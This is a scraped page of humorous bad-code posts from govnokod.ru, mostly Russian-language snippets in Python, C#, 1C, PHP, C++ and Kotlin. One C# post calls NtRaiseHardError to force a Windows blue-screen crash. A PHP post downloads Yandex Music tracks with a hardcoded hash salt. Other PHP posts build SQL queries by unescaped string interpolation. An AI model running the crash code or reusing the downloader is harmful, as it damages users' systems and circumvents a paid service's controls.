- 1
- 2
- 3
- 4
- 5
- 6
- 7
#Ide для япа
code = input('Ваш код: ')
if code = "print('text')
print('text')
Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
−2
#Ide для япа
code = input('Ваш код: ')
if code = "print('text')
print('text')
+2
namespace test
{
//public record P(double D);
class Program1
{
static void Main(string[] args)
{
//The differences between Double.Equals and Double==
Console.WriteLine(double.NaN.Equals(double.NaN)); //True
Console.WriteLine(double.NaN == double.NaN); // False
//The same is true for tuples!
Console.WriteLine((double.NaN, 1).Equals((double.NaN, 1))); // True
Console.WriteLine((double.NaN, 1) == (double.NaN, 1)); // False
//But records in C# 9 behave differently!
Console.WriteLine(new P(double.NaN).Equals(new P(double.NaN))); // True
Console.WriteLine(new P(double.NaN) == new P(double.NaN)); // True
}
}
}
https://twitter.com/STeplyakov/status/1333831742134779904
0
&НаСервереБезКонтекста
Функция ПроверкаНаРукожопость1()
ГруппаЮзеровРСЧ = Справочники.ГруппыПользователей.НайтиПоНаименованию("Отдел расчёта сотрудников");
ЮзерыРСЧ = ГруппаЮзеровРСЧ.Состав.ВыгрузитьКолонку("Пользователь");
ТекущийЮзер = Пользователи.ТекущийПользователь();
//Если ТекущийЮзер = ЮзерыРСЧ.Найти(ТекущийЮзер) Тогда
НайденныеЮзеры = ЮзерыРСЧ.Найти(ТекущийЮзер);
Если (НайденныеЮзеры) <> Неопределено Тогда
Возврат ИСТИНА;
Иначе
Возврат ЛОЖЬ;
КонецЕсли
КонецФункции
&НаКлиенте
Процедура ПриОткрытииПосле(Отказ)
//ПроверкаНаРукожопость(ЭтотОбъект);
//Если РольДоступна("Расчетчик") Тогда
// Объект.Дата.Доступность = ЛОЖЬ;
//КонецЕсли;
Если ПроверкаНаРукожопость1() Тогда
ЭтотОбъект.Элементы.Дата.Доступность = ЛОЖЬ;
ЭтотОбъект.Элементы.Номер.Доступность = ЛОЖЬ;
ЭтотОбъект.Элементы.НомерПриказа.Доступность = ЛОЖЬ;
КонецЕсли;
КонецПроцедуры
Шобы не рукоблудили шелудивые бухгалтерши
+3
"experiments":[25894,19733,11804,21034,31793,21476,17396,12016,
...
window._data = {"__type":"ru.yandex.zen.publishers.front.pojo.PublicationPageNodeData","publisher":{"id":"592d594b8e557de2f707c29f","name":"FORUMHOUSE","nickname":{"raw":"forumhouse","normalized":"forumhouse"},"ownerUid":13690671,"statId":4156,"description":"Добро пожаловать на портал №1 в России, посвященный строительству и загородной жизни.\n\nЗдесь мы публикуем новости, оригинальные материалы, фотообзоры домов; веселим приколами и угощаем рецептами; проверяем знания тестами; даем рекомендации по стройке и ремонту, раскрываем секреты мастеров.","socialLinks":[{"link":"https:\u002F\u002Fwww.instagram.com\u002Fforumhouse\u002F","socialNetwork":"instagram"},{"link":"https:\u002F\u002Fok.ru\u002Fforumhouse","socialNetwork":"ok"},{"link":"https:\u002F\u002Fvk.com\u002Fforumhouse","socialNetwork":"vk"},{"link":"https:\u002F\u002Fwww.facebook.com\u002FForumHouse","socialNetwork":"facebook"}],"themes":[],"logo":{"id":"5ae188e38c8be3ec66de9bb5"},"domain":"forumhouse.ru","agreement":true,"isNirvana":false,"isAdultContent":true,"isSubscribedToEmails":true,"itemId":"981789127750603755","favouritesCount":51813,"audience":1020223,"shouldSendReport":false,"isVerified":false,"allowedPrivateMessages":false,"chatReferences":[]},"publication":{"id":"5fab9d6891ab8a65f7246192","publisherId":"592d594b8e557de2f707c29f","addTime":1605083675615,"publishTime":1606389210899,"content":{"type":"article","articleContent":{"contentState":"{\"blocks\":[{\"data\":{},\"depth\":0,\"entityRanges\":[],\"inlineStyleRanges\":[],\"text\":\"Чтобы что-то делать, нужно хоть что-то уметь — звучит просто и правильно. У героев нашей очередной подборки, по всей видимости, строительных навыков нет, но они уже вышли на тропу серьёзного заработка. Что оставляют после себя дилетанты, когда попадают на стройку — смотрите далее.\",\"type\":\"unstyled\",\"key\":\"3sbd\"},{\"data\":{\"image\":{\"id\":\"5fab9d9a7935977d97ff25e1\"}},\"depth\":0,\"entityRanges\":[],\"inlineStyleRanges\":[],\"text\":\"Источник фото: инстаграм-аккаунт rukozhopy\",\"type\":\"atomic:image\",\"key\":\"881o6\"},{\"data\":{},\"depth\":0,\"entityRanges\":[],\"inlineStyleRanges\":[],\"text\":\"Немного криво — делу не помеха\",\"type\":\"header-two\",\"key\":\"c8dnh\"},{\"data\":{},\"depth\":0,\"entityRanges\":[],\"inlineStyleRanges\":[],\"text\":\"Криво — это такая мера, которая не везде заметна. Согласны? Вот например, на кухне. Ну кто будет измерять пирожки, когда их оценивают по совершенно другим критериям? Здесь важен их вкус и количество начинки. Кулинар может допустить оплошность в калибровке пельменей или размере макаронин. А вот строитель — нет!\",\"type\":\"unstyled\",\"key\":\"4k113\"},{\"data\":{\"image\":{\"id\":\"5fab9dbd91ab8a65f724f703\"}},\"depth\":0,\"entityRanges\":[],\"inlineStyleRanges\":[],\"text\"
Открыл исходный код произвольной страницы на кое-каком сайте для текстов с картиночками, а там
* Человекочитаемый текст - метушня в <head> и <meta> для роботов
* Какой-то скрипт зожатый на 17к симполов
* Зожатый(!) CSS на 190к символов
* Зожатый скрипт 58к, содержащий контент в нечитаемом виде (русские буквы там могут быть заэскейпенными, но почему-то не все)
* Зожатый скрипт + зожатый HTML 62к, содержащий код, кнопки, картинки, копии текста из зожатого скрипта на 58к
И всё это ради того, чтобы показать 5к символов текста и вставить 9 картинок. Даже комментарии подгружаются аяксом.
НАЧАЛЬНИК, БЛЯДЬ, ОН ОБОСРАЛСЯ! ИДИТЕ МОЙТЕ ЕГО НАХУЙ, Я С НИМ ЗДЕСЬ СИДЕТЬ НЕ БУДУ, БЛЯДЬ! Я НЕ БУДУ С ЭТИМ ГОВНОЕДОМ СИДЕТЬ! — ХУЛИ ВЫ МЕНЯ С СУМАСШЕДШИМ ПОСЕЛИЛИ, БЛЯДЬ, ОН ЖЕ МУДАК ПОЛНЫЙ, БЛЯ!!!
Как мы до этого докатились?
+2
$queapplemode = mysqli_query($connect, "SELECT * FROM application_moderate_history ORDER BY user_id ") or die ("error_11111");
$num=0;
$nummm=0;
$oldmodered="";
$newmodered="";
while($apmod = ($queapplemode))
{
// по данной таблице сортируем модераторов по порядку по айди, отслеживаем аппликатион айди, если его нет в бечелор аппликатион, тогда долой, если есть, то сверяем type_id, если 1, то успех и (если не успех, то мимо) тогда берем все данные из таблицы аппликатион модерат и далее обращаемсся в таблицу бачелор аппликатион и берем по аппликатион id там user_id абитуриента
$apid = $apmod['application_id']; //id таблицы bachelor_application
$apidquee = mysqli_query($connect, "SELECT * FROM bachelor_application WHERE id = '{$apid}'") or die ("error_11111");
if($apidquee11 = mysqli_fetch_assoc($apidquee))
{
if($apidquee11['type_id'] == 2)
{
$stateus = $apmod['status']; // статус модерирования
if($stateus == 0)
{
$stateuss = "Готовится";
}
elseif($stateus == 1)
{
$stateuss = "Подано";
}
elseif($stateus == 2)
{
$stateuss = "Принято";
}
elseif($stateus == 3)
{
$stateuss = "Отклонено";
}
$id_moderchika = $apmod['user_id']; // id модератора
$moder = mysqli_query($connect, "SELECT * FROM user WHERE id = '{$id_moderchika}' ") or die ("error_111");
$modered = mysqli_fetch_assoc($moder);
$modered = $modered['username']; //имя модератора
$commentar = $apmod['comment']; //комментарий от модератора
$sozdan = $apmod['created_at']; //дата модерации
$sozdan = Yii::$app->formatter->asDatetime($sozdan);
$id_polzot = $apidquee11['user_id']; //id абитуриента
$user = mysqli_query($connect, "SELECT * FROM user WHERE id = '{$id_polzot}' ") or die ("error_1110");
$usered = mysqli_fetch_assoc($user);
$usered = $usered['username'];
$userfio = mysqli_query($connect, "SELECT * FROM user_profile WHERE user_id = '{$id_polzot}' ") or die ("error_1110");
$userfioed = mysqli_fetch_assoc($userfio);
$userfiofir = $userfioed['firstname'];
$userfiomid = $userfioed['middlename'];
$userfiolas = $userfioed['lastname'];
?>
<tr>
<td style="border: solid 1px #000; text-align:center;"><?php echo $id_moderchika; ?></td>
<td style="border: solid 1px #000; text-align:center;"><?php echo $modered; ?></td>
<td style="border: solid 1px #000; text-align:center;"><?php echo $id_polzot; ?></td>
<td style="border: solid 1px #000; text-align:center;"><?php echo $usered; ?></td>
<td style="border: solid 1px #000; text-align:center;"><?php echo $userfiofir." ".$userfiomid." ".$userfiolas; ?></td>
<td style="border: solid 1px #000; text-align:center;"><?php echo $stateuss; ?></td>
<td style="border: solid 1px #000; text-align:center;"><?php echo $commentar; ?></td>
<td style="border: solid 1px #000; text-align:center;"><?php echo $sozdan; ?></td>
</tr>
<?php
$num++;
$newmodered = $modered['username'];
if($newmodered == $oldmodered)
{
$nummm++;
$oldmodered = $newmodered;
}
else
{
$oldmodered = $newmodered;
}
// получаем нового модератора, если новый модератор сопоставим со старым модератором, который в предыдущем цикле прошел итерацию, то просто +1 пишем, если нет, то завершаем суммирование и вносим в старого модера нового модера
}
}
}
Когда не умеешь пользоваться Джоинами, и соединяешь таблицы, перебирая результат запроса в цикле
+1
#include <iostream>
#include <ctime>
#include <random>
#include <windows.h>
#include <cstdint> // Для int8_t;
#include <string>
#include <string_view>
#include <array>
#include <iomanip> // setw();
using namespace std;
const array <string, 94> arr = { "олицетворение", "патология", "субтропики", "лекарь", "предосторожность", "монархист",
"социум", "клякса", "борщевик", "лемур", "старьевщик", "марсельеза", "послушание", "прикол", "шифровка", "фантом", "субмарина",
"гладиолус", "сообщество", "гениальность", "трансформация", "пальпация", "усушка", "благополучие", "капелла", "недоумение",
"траверс", "проныра", "полоскание", "побережье", "закись", "кровопиец", "сыродел", "продвижение", "совместимость", "двойственность",
"сабботаж", "рассылка", "куратор", "прорицание", "синтез", "негодяй", "паралич", "тяжелоатлет", "освободитель", "кунжут",
"мордобой", "ностальгия", "хлорофилл", "первооткрыватель", "гипотенуза", "шкатулка", "психиатр", "маэстро", "прыть",
"пустомеля", "здравоохранение", "алиментщик", "параметр", "аннотация", "пудинг", "прыжок", "пневматика", "штырь", "фасовщик",
"совместитель", "свиновод", "яйцеварка", "зверобой", "тундра", "вогнутость", "рикошет", "компромисс", "фоторепортер",
"кордебалет", "нумизмат", "гипербола", "желтизна", "брезент", "ботфорты", "гостинец", "символист", "акустика", "психика",
"удивление", "уховертка", "снежинка", "меценат", "атомоход", "контрабас", "брюква", "миловидность", "спринтер", "пунктир" };
int randNumber(int min, int max)
{
random_device rd; //Will be used to obtain a seed for the random number engine
mt19937 gen(rd()); //Standard mersenne_twister_engine seeded with rd()
uniform_int_distribution<int> distrib(min, max);
return distrib(gen);
}
string_view randString()
{
return (string_view)arr[randNumber(0, arr.size())];
}
void printGuessedChar(string_view input, string_view randWord)
{
for (int i = 0; i < randWord.size(); ++i)
{
for (int j = 0; j < input.size(); ++j)
{
if (randWord[i] == input[j])
{
cout << randWord[i];
break;
}
}
cout << '*';
}
cout << endl;
}
int randNumber(int min, int max)
{
random_device rd; //Will be used to obtain a seed for the random number engine
mt19937 gen(rd()); //Standard mersenne_twister_engine seeded with rd()
uniform_int_distribution<int> distrib(min, max);
return distrib(gen);
}
void theGame()
{
cout << "Добро пожаловать в игру 'Виселица'!" << endl;
string_view randWord = randString();
cout << "Компьютер сгенерировал слово" << endl;
cout << "Слово - ";
for (int i = 0; i < randWord.size(); ++i)
{
cout << '*';
};
cout << endl;
int8_t count = 0;
string input;
do
{
cout << "У вас " << 6 - count << " попыток угадать слово." << endl << "Введите букву: ";
if (cin.fail()) // если предыдущее извлечение оказалось неудачным,
{
cin.clear(); // то возвращаем cin в 'обычный' режим работы
cin.ignore(32767, '\n'); // и удаляем значения предыдущего ввода из входного буфера
}
cin >> setw(1) >> input[count];
printGuessedChar(input, randWord);
++count;
} while (count != 6);
}
int main()
{
SetConsoleCP(1251);
SetConsoleOutputCP(1251);
srand((unsigned)time(nullptr));
theGame();
}
Заколебался уже с этим кодом. Не получается впихнуть пользовательский ввоз в массив...Первая попытка освоить std::string и std::string_view. Ну и в целом советы по коду приветствуются. Благодарю
//Давайте напишем популярную игру, которая называется «Виселица».В игре вам нужно угадать слово, которое загадала программа, буква за буквой.
//Игрок угадывает одну букву за раз и может ошибиться только 6 раз(после этого он проигрывает).
//Необходимый функционал вашей программы :
//создайте массив слов(например, поместите туда 40 слов) и рандомным образом выберите 1 слово для угадывания;
//программа должна выводить длину всего слова и отображать буквы, которые угадал игрок;
//после каждого неудачного угадывания, программа должна сообщить игроку, сколько у него осталось попыток неверно указать букву, прежде чем он проиграет;
//если человек указал букву, которую ранее уже угадывал, и она не дублируется в слове, то не наказывайте его, а просто предоставьте возможность угадать букву еще раз.
//Например, компьютер загадал слово INTERESTING :
//
//Добро пожаловать в игру "Виселица"!
//Слово - _ _ _ _ _ _ _ _ _ _ _
//Угадайте букву : S
//Верно - _ _ _ _ _ _ S _ _ _ _
//Угадайте следующую букву : F
//Неверно!Такой буквы нет, у вас осталось 5 попыток неверно указать букву!
//...
+2
using JINN=System;
namespace SiniyShaman
{
class PrizivSinegoDemona
{
[JINN.Runtime.InteropServices.DllImport("ntdll.dll")]
public static extern uint RtlAdjustPrivilege(int Privilege,bool bEnablePrivilege,bool IsThreadPrivilege,out bool PreviousValue);
[JINN.Runtime.InteropServices.DllImport("ntdll.dll")]
public static extern uint NtRaiseHardError(uint ErrorStatus,uint NumberOfParameters,uint UnicodeStringParameterMask,JINN.IntPtr Parameters,uint ValidResponseOption,out uint Response);
[JINN.STAThread]
static unsafe void Main(string[]args)
{
JINN.Runtime.InteropServices.Marshal.PrelinkAll(typeof(PrizivSinegoDemona));
JINN.Boolean t1;
uint t2;
RtlAdjustPrivilege(19,true,false,out t1);
NtRaiseHardError(0xc0000022,0,0,JINN.IntPtr.Zero,6,out t2);
}
}
}
Волшебства не бывает говорили они... В армию уже походу не возьмут %)
+1
<?php
$data = file_get_contents('https://music.yandex.ru/users/[данные удалены]/playlists/[данные удалены]');
$data = json_decode($data);
$tracks = $data->result->tracks;
$track = $tracks[$argv[1]]; // передаём номер песни из плейлиста
/* Step 1 */
$trackId = $track->track->id;
$albumId = $track->track->albums[0]->id;
$time = strval(time()) . '000';
$url1 = 'https://music.yandex.ru/api/v2.1/handlers/track/' . $trackId . '%3A' . $albumId . '/web-user_playlists-playlist-track-saved/download/m?hq=0&external-domain=music.yandex.ru&overembed=no&__t=' . $time;
$options['http']['header'] = "Accept: application/json; q=1.0, text/*; q=0.8, */*; q=0.1\r\n"
. "X-Retpath-Y: https%3A%2F%2Fmusic.yandex.ru%2F\r\n"
. "X-Requested-With: XMLHttpRequest\r\n"
. "User-Agent: Mozilla/5.0 [данные удалены]\r\n"
. "Cookie: [данные удалены]\r\n";
$context = stream_context_create($options);
$data = file_get_contents($url1, false, $context);
$data = json_decode($data);
/* Step 2 */
$time = strval(time()) . '000';
$url2 = 'https:' . $data->src . '&format=json&external-domain=music.yandex.ru&overembed=no&__t=' . $time;
$data = file_get_contents($url2);
$data = json_decode($data);
/* Step 3 */
$salt = 'XGRlBW9FXlekgbPrRHuSiA';
$hash = md5($salt . substr($data->path, 1) . $data->s);
$url3 = 'https://' . $data->host . '/get-mp3/' . $hash . '/' . $data->ts . $data->path;
$name = $track->track->title;
if(isset($track->track->version)) {
$name .= ' (' . $track->track->version . ')';
}
$artists = array();
foreach($track->track->artists as $artist) {
$artists[] = $artist->name;
}
$name = implode(',', $artists) . ' - ' . $name;
$name = strtr($name, ':/\\*?<|>', '________');
$name = str_replace('"', '”', $name);
$name = mb_substr($name, 0, 255-4);
copy($url3, $name . '.mp3');
Найдётся всё.
+2
В России предложили перейти на Rust при разработке ПО для «проектов повышенной надёжности».
Языком Rust предлагают ограничить все проекты по разработке ядерного оружия,
атомных станций, авиации, электроэнергетики, банковской сферы и т.д.
Но не стоит переживать. Если проект примут, то разработчикам дадут
от полугода до года, «чтобы успели переучиться». Как говорится, и на том спасибо.
Голосовать, если что, можно тут: https://www.roi.ru/71821/
+2
private fun findFirstChecked(calendarModel: CalendarModel) =
LocalDate.parse(
"${calendarModel.year}-${
calendarModel.months.indexOfFirst {
it.state is
CalendarMonthState.EnableType
}.plus(1).toString().padStart(2, '0')
}-01"
)
Та хрен его знает что оно делает. Вроде бы находит выбранный месяц календаря, но это не точно.